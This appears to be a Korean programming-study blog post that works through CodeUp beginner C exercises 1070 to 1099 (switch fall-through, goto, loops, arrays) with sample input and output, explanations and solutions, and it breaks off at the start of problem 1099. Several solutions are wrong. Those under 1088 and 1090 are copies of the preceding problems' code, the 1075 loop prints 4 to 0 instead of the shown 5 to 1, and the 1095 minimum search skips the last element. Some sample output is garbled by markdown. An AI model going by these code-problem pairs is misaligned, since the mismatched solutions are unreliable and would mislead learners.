<p>break를 사용하지 않으면 밑에 케이스까지 출력되는 것을 이용하여,
지정된 형식에 맞게 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int num;
    scanf(&quot;%d&quot;, &amp;num);

    switch (num) {
        case 12 :
        case 1 :
        case 2 : printf(&quot;winter&quot;); break;
        case 3 :
        case 4 :
        case 5 : printf(&quot;spring&quot;); break;
        case 6 :
        case 7 :
        case 8 : printf(&quot;summer&quot;); break;
        case 9 :
        case 10 :
        case 11 : printf(&quot;fall&quot;); break;
    }
}</code></pre><blockquote>
</blockquote>
<h2 id="1071--기초-반복실행구조-0-입력될-때까지-무한-출력하기1설명">1071 : [기초-반복실행구조] 0 입력될 때까지 무한 출력하기1(설명)</h2>
<h3 id="입력-69">입력</h3>
<p>7 4 2 3 0 1 5 6 9 10 8</p>
<h3 id="출력-69">출력</h3>
<p>7
4
2
3</p>
<h3 id="풀이-69">풀이</h3>
<p>goto 레이블을 이용하여 입력받은 수를 출력, 0이 입력되면 정지</p>
<blockquote>
</blockquote>
<p>(이름): : 시작 위치 지정 
goto (이름); : 지정된 위치로 이동하여 재실행</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int n;

    P:

    scanf(&quot;%d&quot;, &amp;n);
    if (n != 0)
    {
        printf(&quot;%d\n&quot;, n);
        goto P;
    }   

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1072--기초-반복실행구조-정수-입력받아-계속-출력하기설명">1072 : [기초-반복실행구조] 정수 입력받아 계속 출력하기(설명)</h2>
<h3 id="입력-70">입력</h3>
<p>5
1 2 3 4 5</p>
<h3 id="출력-70">출력</h3>
<p>1
2
3
4
5</p>
<h3 id="풀이-70">풀이</h3>
<p>입력받은 수를 goto가 실행될 때마다 1씩 감소, 0이 되면 종료시킴으로서
지정된 회수만큼 반복
입력된 수를 하나씩 출력</p>
<blockquote>
</blockquote>
<p>(이름): : 시작 위치 지정 
goto (이름); : 지정된 위치로 이동하여 재실행</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int num1, num2; 
    scanf(&quot;%d&quot;, &amp;num1);

    print_num:

    scanf(&quot;%d&quot;, &amp;num2);
    printf(&quot;%d\n&quot;, num2);
    num1 -= 1;

    if(num1 &gt; 0)
    {
        goto print_num;
    }

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1073--기초-반복실행구조-0-입력될-때까지-무한-출력하기2설명">1073 : [기초-반복실행구조] 0 입력될 때까지 무한 출력하기2(설명)</h2>
<h3 id="입력-71">입력</h3>
<p>7 4 2 3 0 1 5 6 9 10 8</p>
<h3 id="출력-71">출력</h3>
<p>7
4
2
3</p>
<h3 id="풀이-71">풀이</h3>
<p>while 반복문을 이용하여 입력받은 값을 출력
if 조건문을 통해 0이 입력되면 종료</p>
<pre><code>#include &lt;stdio.h&gt;
#include &lt;stdbool.h&gt;

int main() {
    int num;

    while(true)
    {
        scanf(&quot;%d&quot;, &amp;num);

        if (num == 0)
            break;

        printf(&quot;%d\n&quot;, num);
    }

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1074--기초-반복실행구조-정수-1개-입력받아-카운트다운-출력하기1설명">1074 : [기초-반복실행구조] 정수 1개 입력받아 카운트다운 출력하기1(설명)</h2>
<h3 id="입력-72">입력</h3>
<p>5</p>
<h3 id="출력-72">출력</h3>
<p>5
4
3
2
1</p>
<h3 id="풀이-72">풀이</h3>
<p>whlie 반복문을 활용하여 n을 입력받은 후 1씩 감소시켜 n값이 0이 되기 전까지 반복</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int n;
    scanf(&quot;%d&quot;, &amp;n);
    while(n != 0)
    {
        printf(&quot;%d\n&quot;, n);
        --n;
    }

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1075--기초-반복실행구조-정수-1개-입력받아-카운트다운-출력하기2설명">1075 : [기초-반복실행구조] 정수 1개 입력받아 카운트다운 출력하기2(설명)</h2>
<h3 id="입력-73">입력</h3>
<p>5</p>
<h3 id="출력-73">출력</h3>
<p>5
4
3
2
1</p>
<h3 id="풀이-73">풀이</h3>
<p>whlie 반복문을 활용하여 n을 입력받은 후 1씩 감소시켜 n값이 0보다 작아지기 전까지 반복</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int n;
    scanf(&quot;%d&quot;, &amp;n);
    while(n &gt; 0)
    {
        n = n - 1;
        printf(&quot;%d\n&quot;, n);
    }

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1076--기초-반복실행구조-문자-1개-입력받아-알파벳-출력하기설명">1076 : [기초-반복실행구조] 문자 1개 입력받아 알파벳 출력하기(설명)</h2>
<h3 id="입력-74">입력</h3>
<p>f</p>
<h3 id="출력-74">출력</h3>
<p>a b c d e f</p>
<h3 id="풀이-74">풀이</h3>
<p>&#39;a&#39;의 아스키코드 값인 97을 이용하여 입력된 문자의 아스키코드 값이 될 때까지 반복 출력 </p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    char c;
    c = getchar();

    for (int i = 97; i &lt;= c; i++) {
        printf(&quot;%c &quot;, i);
    }

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1077--기초-반복실행구조-정수-1개-입력받아-그-수까지-출력하기설명">1077 : [기초-반복실행구조] 정수 1개 입력받아 그 수까지 출력하기(설명)</h2>
<h3 id="입력-75">입력</h3>
<p>4</p>
<h3 id="출력-75">출력</h3>
<p>0
1
2
3
4</p>
<h3 id="풀이-75">풀이</h3>
<p>i값을 0부터 시작하여 입력값이랑 같아질때까지 증가시키며 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int a;
    scanf(&quot;%d&quot;, &amp;a);

    for (int i = 0; i &lt;= a; i++) {
        printf(&quot;%d\n&quot;, i);
    }

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1078--기초-종합-짝수-합-구하기설명">1078 : [기초-종합] 짝수 합 구하기(설명)</h2>
<h3 id="입력-76">입력</h3>
<p>5</p>
<h3 id="출력-76">출력</h3>
<p>6</p>
<h3 id="풀이-76">풀이</h3>
<p>입력받은 수까지 i 값을 반복적으로 증가시키며 if 조건문에서 2로 나누었을때 나머지가 0이 되는 값들을 모두 더하여 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int sum=0;
    int n;
    scanf(&quot;%d&quot;, &amp;n);

    for(int i = 1; i &lt;= n; i++)
    {
        if (i % 2 == 0)
            sum = sum + i;
    }

    printf(&quot;%d&quot;, sum);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1079--기초-종합-원하는-문자가-입력될-때까지-반복-출력하기">1079 : [기초-종합] 원하는 문자가 입력될 때까지 반복 출력하기</h2>
<h3 id="입력-77">입력</h3>
<p>x b k d l q g a c</p>
<h3 id="출력-77">출력</h3>
<p>x
b
k
d
l
q</p>
<h3 id="풀이-77">풀이</h3>
<p>문자들은 입력받고, 입력받은 문자를 출력
if 조건문을 통해 q가 입력되었을 경우 q를 출력하고 프로그램 종료</p>
<pre><code>#include &lt;stdio.h&gt;
#include &lt;stdbool.h&gt;

int main() {
    char c;

    while (true)
    {
        scanf(&quot;%c&quot;, &amp;c);

        printf(&quot;%c&quot;, c);

        if (c == &#39;q&#39;)
        {
            return 0;
        }

    }

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1080--기초-종합-언제까지-더해야-할까">1080 : [기초-종합] 언제까지 더해야 할까?</h2>
<h3 id="입력-78">입력</h3>
<p>55</p>
<h3 id="출력-78">출력</h3>
<p>10</p>
<h3 id="풀이-78">풀이</h3>
<p>반복문을 통해 1부터 숫자를 더하여 조건문을 통해 입력한 숫자보다 같거나 커질때를
판단하고, 마지막으로 더한 수를 출력</p>
<pre><code>#include &lt;stdio.h&gt;
#include &lt;stdbool.h&gt;

int main() {
    int num, sum = 0;
    scanf(&quot;%d&quot;, &amp;num);

    for (int i = 1; i &lt; num; i++)
    {
        sum += i;
        if (sum &gt;= num)
        {
            printf(&quot;%d&quot;, i);

            break;
        }
    }

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1081--기초-종합-주사위를-2개-던지면설명">1081 : [기초-종합] 주사위를 2개 던지면?(설명)</h2>
<h3 id="입력-79">입력</h3>
<p>2 3</p>
<h3 id="출력-79">출력</h3>
<p>1 1
1 2
1 3
2 1
2 2
2 3</p>
<h3 id="풀이-79">풀이</h3>
<p>중첩 반복문을 통해 각각 i는 첫번째 입력값, j는 두번째 입력값과 같아질 때까지
더하며 반복 출력</p>
<pre><code>#include &lt;stdio.h&gt;
#include &lt;stdbool.h&gt;

int main() {
    int num1, num2;
    scanf(&quot;%d %d&quot;, &amp;num1, &amp;num2);

    for (int i = 1; i &lt;= num1; i++)
    {
        for (int j = 1; j &lt;= num2; j++)
        {
            printf(&quot;%d %d\n&quot;, i, j);
        }
    }

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1082--기초-종합-16진수-구구단">1082 : [기초-종합] 16진수 구구단?</h2>
<h3 id="입력-80">입력</h3>
<p>B</p>
<h3 id="출력-80">출력</h3>
<p>B<em>1=B
B</em>2=16
B<em>3=21
B</em>4=2C
B<em>5=37
B</em>6=42
B<em>7=4D
B</em>8=58
B<em>9=63
B</em>A=6E
B<em>B=79
B</em>C=84
B<em>D=8F
B</em>E=9A
B*F=A5</p>
<h3 id="풀이-80">풀이</h3>
<p>중첩 반복문을 통해 각각 입력받은 정수의 단을 출력하는 프로그램을 작성한 후,
16진수를 출력하고 받도록 %x를 이용</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int num;
    scanf(&quot;%X&quot;, &amp;num);

    for (int i = 1; i &lt;= 15; i++)
    {
        printf(&quot;%X*%X=%X\n&quot;, num, i, num*i);
    }

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1083--기초-종합-3-6-9-게임의-왕이-되자설명">1083 : [기초-종합] 3 6 9 게임의 왕이 되자!(설명)</h2>
<h3 id="입력-81">입력</h3>
<p>9</p>
<h3 id="출력-81">출력</h3>
<p>1 2 X 4 5 X 7 8 X</p>
<h3 id="풀이-81">풀이</h3>
<p>for 반복문을 통해 1부터 입력받은 수까지 반복 출력
if 조건문을 통해 3으로 나누어떨어지는 값은 X로 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int i, num;
    scanf(&quot;%d&quot;, &amp;num);

    for (i = 1; i &lt;= num; i++)
    {
        if (i % 3 == 0)
            printf(&quot;X &quot;);
        else
            printf(&quot;%d &quot;, i);
    }

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1084--기초-종합-빛-섞어-색-만들기설명">1084 : [기초-종합] 빛 섞어 색 만들기(설명)</h2>
<h3 id="입력-82">입력</h3>
<p>2 2 2</p>
<h3 id="출력-82">출력</h3>
<p>0 0 0
0 0 1
0 1 0
0 1 1
1 0 0
1 0 1
1 1 0
1 1 1
8</p>
<h3 id="풀이-82">풀이</h3>
<p>삼중첩 반복문을 이용하여 주사위 경우의 수와 같은 방식으로 출력
sum의 값이 한 번 더 더해짐으로 마지막에 sum값에서 1을 빼준 후 개수 출력</p>
<pre><code>#include &lt;stdio.h&gt;
#include &lt;stdbool.h&gt;

int main() {
    int num1, num2, num3; 
    int sum = 1;
    scanf(&quot;%d %d %d&quot;, &amp;num1, &amp;num2, &amp;num3);

    for (int x = 0; x &lt; num1; x++)
    {
        for (int y = 0; y &lt; num2; y++)
        {
            for (int z = 0; z &lt; num3; z++)
            {
                sum++;
                printf(&quot;%d %d %d\n&quot;, x, y, z);
            }
        }
    }

    printf(&quot;%d&quot;, sum-1);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1085--기초-종합-소리-파일-저장용량-계산하기설명">1085 : [기초-종합] 소리 파일 저장용량 계산하기(설명)</h2>
<h3 id="입력-83">입력</h3>
<p>44100 16 2 10</p>
<h3 id="출력-83">출력</h3>
<p>1.7 MB</p>
<h3 id="풀이-83">풀이</h3>
<p>모든 값을 입력받은 후 곱하여 result값을 구한 후, MB단위를 뽑아야하므로 1024<em>1024</em>8으로 단위를 맞추어 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main(){
    long long int h, b, c, s;
    double result;
    scanf(&quot;%lld %lld %lld %lld&quot;, &amp;h, &amp;b, &amp;s, &amp;c);

    result = h * b * s * c;

    printf(&quot;%.1lf MB&quot;, result/(8*1024*1024));

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1086--기초-종합-그림-파일-저장용량-계산하기설명">1086 : [기초-종합] 그림 파일 저장용량 계산하기(설명)</h2>
<h3 id="입력-84">입력</h3>
<p>1024 768 24</p>
<h3 id="출력-84">출력</h3>
<p>2.25 MB</p>
<h3 id="풀이-84">풀이</h3>
<p>모든 값을 입력받은 후 곱하여 result값을 구한 후, MB단위를 뽑아야하므로 1024<em>1024</em>8으로 단위를 맞추어 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main () {
    long long int w,h,b;
    double MB;


    scanf(&quot;%lld %lld %lld&quot;, &amp;w, &amp;h, &amp;b );
    MB = (w*h*b);


    printf(&quot;%.02lf MB&quot;,MB/(8*1024*1024));

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1087--기초-종합-여기까지-이제-그만설명">1087 : [기초-종합] 여기까지! 이제 그만~(설명)</h2>
<h3 id="입력-85">입력</h3>
<p>57</p>
<h3 id="출력-85">출력</h3>
<p>66</p>
<h3 id="풀이-85">풀이</h3>
<p>1~n까지 반복하여 더하고 조건문을 통해 입력된 값보다 커지거나 같아지는 순간의 값을 판단하여 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int n, i;
    int s = 0;
    scanf(&quot;%d&quot;, &amp;n);
    for(i = 1; ; i++)
    {
        s += i;
        if (s &gt;= n)
            break;
    }

    printf(&quot;%d&quot;, s);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1088--기초-종합-3의-배수는-통과설명">1088 : [기초-종합] 3의 배수는 통과?(설명)</h2>
<h3 id="입력-86">입력</h3>
<p>10</p>
<h3 id="출력-86">출력</h3>
<p>1 2 4 5 7 8 10</p>
<h3 id="풀이-86">풀이</h3>
<p>1부터 시작하여 입력받은 수까지 반복
조건문으로 판단하여 3으로 나누어떨어질 경우 출력 제외</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int n, i;
    int s = 0;
    scanf(&quot;%d&quot;, &amp;n);
    for(i = 1; ; i++)
    {
        s += i;
        if (s &gt;= n)
            break;
    }

    printf(&quot;%d&quot;, s);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1089--기초-종합-수-나열하기1">1089 : [기초-종합] 수 나열하기1</h2>
<h3 id="입력-87">입력</h3>
<p>1 3 5</p>
<h3 id="출력-87">출력</h3>
<p>13</p>
<h3 id="풀이-87">풀이</h3>
<p>반복문을 활용, 시작값부터 등차값을 계산하여 n번째 수를 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int a, b, c;
    scanf(&quot;%d %d %d&quot;, &amp;a, &amp;b, &amp;c);
    int arr[100];

    for (int i = 0; i &lt; c; i++)
    {
        arr[i] = a+(i*b);
    }

    printf(&quot;%d&quot;, arr[c-1]);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1090--기초-종합-수-나열하기2">1090 : [기초-종합] 수 나열하기2</h2>
<h3 id="입력-88">입력</h3>
<p>2 3 7</p>
<h3 id="출력-88">출력</h3>
<p>1458</p>
<h3 id="풀이-88">풀이</h3>
<p>반복문을 활용, 시작값부터 등비값을 계산하여 n번째 수를 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int a, b, c;
    scanf(&quot;%d %d %d&quot;, &amp;a, &amp;b, &amp;c);
    int arr[100];

    for (int i = 0; i &lt; c; i++)
    {
        arr[i] = a+(i*b);
    }

    printf(&quot;%d&quot;, arr[c-1]);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1091--기초-종합-수-나열하기3">1091 : [기초-종합] 수 나열하기3</h2>
<h3 id="입력-89">입력</h3>
<p>1 -2 1 8</p>
<h3 id="출력-89">출력</h3>
<p>-85</p>
<h3 id="풀이-89">풀이</h3>
<p>반복문을 활용, 시작 값 a에 m을 곱하고 d를 더한 수열의 n번째 수를 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    long long int a, m, d, n;
    scanf(&quot;%ld %lld %lld %lld&quot;, &amp;a, &amp;m, &amp;d, &amp;n);

    for (int i = 0; i &lt; n-1; i++) {
        a *= m;
        a += d;
    }

    printf(&quot;%lld&quot;, a);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1092--기초-종합-함께-문제-푸는-날설명">1092 : [기초-종합] 함께 문제 푸는 날(설명)</h2>
<h3 id="입력-90">입력</h3>
<p>3 7 9</p>
<h3 id="출력-90">출력</h3>
<p>63</p>
<h3 id="풀이-90">풀이</h3>
<p>입력된 세 수의 최소공배수를 구하는 프로그램 작성
모든 수가 나누어떨어지는 가장 작은 수를 반복문과 조건문을 통해 탐지</p>
<pre><code>#include &lt;stdio.h&gt;
#include &lt;stdbool.h&gt;

int main() {
    int a, b, c;
    int i = 0;
    scanf(&quot;%d %d %d&quot;, &amp;a, &amp;b, &amp;c);

    while(true)
    {
        i++;

        if ((i % a == 0) &amp;&amp; (i % b == 0) &amp;&amp; (i % c == 0)) {
            printf(&quot;%d&quot;, i);
            break;
        }

    }

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1093--기초-1차원배열-이상한-출석-번호-부르기1설명">1093 : [기초-1차원배열] 이상한 출석 번호 부르기1(설명)</h2>
<h3 id="입력-91">입력</h3>
<p>10
1 3 2 2 5 6 7 4 5 9</p>
<h3 id="출력-91">출력</h3>
<p>1 2 1 1 2 1 1 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0</p>
<h3 id="풀이-91">풀이</h3>
<p>학생 수 만큼 크기의 배열 선언 후, 0으로 모두 초기화
불린 인덱스 값의 출석번호에 1을 더함 </p>
<pre><code>#include &lt;stdio.h&gt;
int main() {
    int n, i, t;
    int a[24]={};
    scanf(&quot;%d&quot;, &amp;n);
    for(i=1; i&lt;=n; i++) {
        scanf(&quot;%d&quot;, &amp;t);
        a[t]=a[t]+1; 
    }

    for(i=1; i&lt;=23; i++) {
        printf(&quot;%d &quot;, a[i]);
    }

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1094--기초-1차원배열-이상한-출석-번호-부르기2설명">1094 : [기초-1차원배열] 이상한 출석 번호 부르기2(설명)</h2>
<h3 id="입력-92">입력</h3>
<p>10
10 4 2 3 6 6 7 9 8 5</p>
<h3 id="출력-92">출력</h3>
<p>5 8 9 7 6 6 3 2 4 10</p>
<h3 id="풀이-92">풀이</h3>
<p>학생 수 만큼 크기의 배열 선언 후, 0으로 모두 초기화
입력받은 값을 인덱스 출력을 이용해 뒤집어서 출력</p>
<pre><code>#include &lt;stdio.h&gt;
int main() {
    int n, i;
    int a[10001]={};
    scanf(&quot;%d&quot;, &amp;n);

    for(i=1; i&lt;=n; i++)
        scanf(&quot;%d&quot;, &amp;a[i]);

    for(i=n; i&gt;=1; i--)
        printf(&quot;%d &quot;, a[i]);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1095--기초-1차원배열-이상한-출석-번호-부르기3설명">1095 : [기초-1차원배열] 이상한 출석 번호 부르기3(설명)</h2>
<h3 id="입력-93">입력</h3>
<p>10
10 4 2 3 6 6 7 9 8 5</p>
<h3 id="출력-93">출력</h3>
<p>2</p>
<h3 id="풀이-93">풀이</h3>
<p>학생 수 만큼 크기의 배열 선언 후, 0으로 모두 초기화
입력받은 배열의 인덱스값을 비교하여 가장 작은 수 출력</p>
<pre><code>#include &lt;stdio.h&gt;
int main() {
    int n, m;
    int a[10001]={};
    scanf(&quot;%d&quot;, &amp;n);

    for(int i=1; i&lt;=n; i++)
        scanf(&quot;%d&quot;, &amp;a[i]);

    m = a[1];
    for(int i=1; i&lt;n; i++) {
        if (a[i] &lt; m) {
            m = a[i];
        }else {

        }
    }
    printf(&quot;%d&quot;, m);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1096--기초-2차원배열-바둑판에-흰-돌-놓기설명">1096 : [기초-2차원배열] 바둑판에 흰 돌 놓기(설명)</h2>
<h3 id="입력-94">입력</h3>
<p>5
1 1
2 2
3 3
4 4
5 5</p>
<h3 id="출력-94">출력</h3>
<p>1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0</p>
<h3 id="풀이-94">풀이</h3>
<p>입력받은 회수만큼 반복하여 정수 두 개를 입력받기
입력받은 좌표값의 0을 1로 변경</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int arr[20][20];
    int x, a, b;
    scanf(&quot;%d&quot;, &amp;x);

    for (int i = 1; i &lt; 20; i++)
    {
        for (int j = 1; j &lt; 20; j++)
        {
            arr[i][j] = 0;
        }
    }

    for (int i = 0; i &lt; x; i++)
    {
        scanf(&quot;%d %d&quot;, &amp;a, &amp;b);
        arr[a][b] = 1;
    }

    for (int i = 1; i &lt; 20; i++)
    {
        for (int j = 1; j &lt; 20; j++)
        {
            printf(&quot;%d &quot;, arr[i][j]);
        }

        printf(&quot;\n&quot;);
    }


    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1097--기초-2차원배열-바둑알-십자-뒤집기설명">1097 : [기초-2차원배열] 바둑알 십자 뒤집기(설명)</h2>
<h3 id="입력-95">입력</h3>
<p>0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0
2
10 10
12 12</p>
<h3 id="출력-95">출력</h3>
<p>0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0</p>
<h3 id="풀이-95">풀이</h3>
<p>19x19 사이즈의 바둑판에 각각 백돌과 흑돌의 위치를 입력받기
입력받은 회수만큼 정수를 두 개씩 입력받기
입력받은 x좌표, y좌표의 돌을 각각 다른색의 돌로 바꿔서 배치
바뀐 바둑판 출력하기</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int n, i, j, x, y;
    int a[20][20]={};
        for(i = 1; i &lt;= 19; i++)
            for(j = 1; j &lt;= 19; j++)
                scanf(&quot;%d&quot;, &amp;a[i][j]);

    scanf(&quot;%d&quot;, &amp;n);

    for(i = 1; i &lt;= n; i++)
    {
        scanf(&quot;%d %d&quot;, &amp;x, &amp;y);
        for(j = 1; j &lt;= 19; j++)
        {
            if(a[x][j]==0)
                a[x][j] = 1;
            else
                a[x][j] = 0;
        }

    for(j=1; j&lt;=19; j++)
        {
            if(a[j][y]==0)
                a[j][y]=1;
            else
                a[j][y] = 0;
        }
    }

    for (i = 1; i &lt;= 19; i++)
    {
        for (j = 1; j &lt;= 19; j++)
        {
            printf(&quot;%d &quot;, a[i][j]);
        }
        printf(&quot;\n&quot;); //줄 바꾸기
    }

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1098--기초-2차원배열-설탕과자-뽑기">1098 : [기초-2차원배열] 설탕과자 뽑기</h2>
<h3 id="입력-96">입력</h3>
<p>5 5
3
2 0 1 1
3 1 2 3
4 1 2 5</p>
<h3 id="출력-96">출력</h3>
<p>1 1 0 0 0
0 0 1 0 1
0 0 1 0 1
0 0 1 0 1
0 0 0 0 1</p>
<h3 id="풀이-96">풀이</h3>
<p>입력받은 크기의 2차원 배열을 모두 0으로 초기화
입력받은 회수만큼 4개의 정수를 입력받기
지정된 규칙에 따라 해당되는 위치를 1로 변경
2차원 배열 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main()
{
    int matrix[100][100] = { 0, };

    int h,w,n,l,d,x,y;

    scanf(&quot;%d %d&quot;,&amp;h,&amp;w);
    scanf(&quot;%d&quot;,&amp;n);

    for(int i = 1; i &lt;= n; i++){
        scanf(&quot;%d %d %d %d&quot;,&amp;l,&amp;d,&amp;x,&amp;y);
        if(d == 0){
            for(int j = 0; j&lt;l; j++){
                matrix[x][y+j] = 1;
            }
        }
        else{
            for(int j = 0; j&lt;l; j++){
                matrix[x+j][y] = 1;
            }
        }
    }

    for (int i = 1; i &lt;= h; i++)
    {
        for (int j = 1; j &lt;= w; j++)
        {
            printf(&quot;%d &quot;, matrix[i][j]);
        }
        printf(&quot;\n&quot;);
    }

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1099--기초-2차원배열-성실한-개미">1099 : [기초-2차원배열] 성실한 개미</h2>
<h3 id="입력-97">입력</h3>
<p>1 1 1 1 1 1 1 1 1 1
1 0 0 1 0 0 0 0 0 1
1 0 0 1 1 1 0 0 0 1
1 0 0 0 0 0 0 1 0 1
1 0 0 0 0 0 0 1 0 1
1 0 0 0 0 1 0 1 0 1
1 0 0 0 0 1 2 1 0 1
1 0 0 0 0 1 0 0 0 1
1 0 0 0 0 0 0 0 0 1
1 1 1 1 1 1 1 1 1 1</p>
<h3 id="출력-97">출력</h3>
<p>1 1 1 1 1 1 1 1 1 1
1 9 9 1 0 0 0 0 0 1
1 0 9 1 1 1 0 0 0 1
1 0 9 9 9 9 9 1 0 1
1 0 0 0 0 0 9 1 0 1
1 0 0 0 0 1 9 1 0 1
1 0 0 0 0 1 9 1 0 1
1 0 0 0 0 1 0 0 0 1
1 0 0 0 0 0 0 0 0 1
1 1 1 1 1 1 1 1 1 1</p>
<h3 id="풀이-97">풀이</h3>
<p>미로상자의 구조를 입력받기
입력받은 미로상자의 2,2 칸에서 시작
오른쪽으로 이동 후, 만약 오른쪽이 1이면 다시 원상복귀
오른쪽과 아래가 모두 1일 경우 중지
2에 닿을 때까지 무한 반복
모든 작업이 수행된 후, 미로상자를 출력</p>
<pre><code>#include &lt;stdio.h&gt;

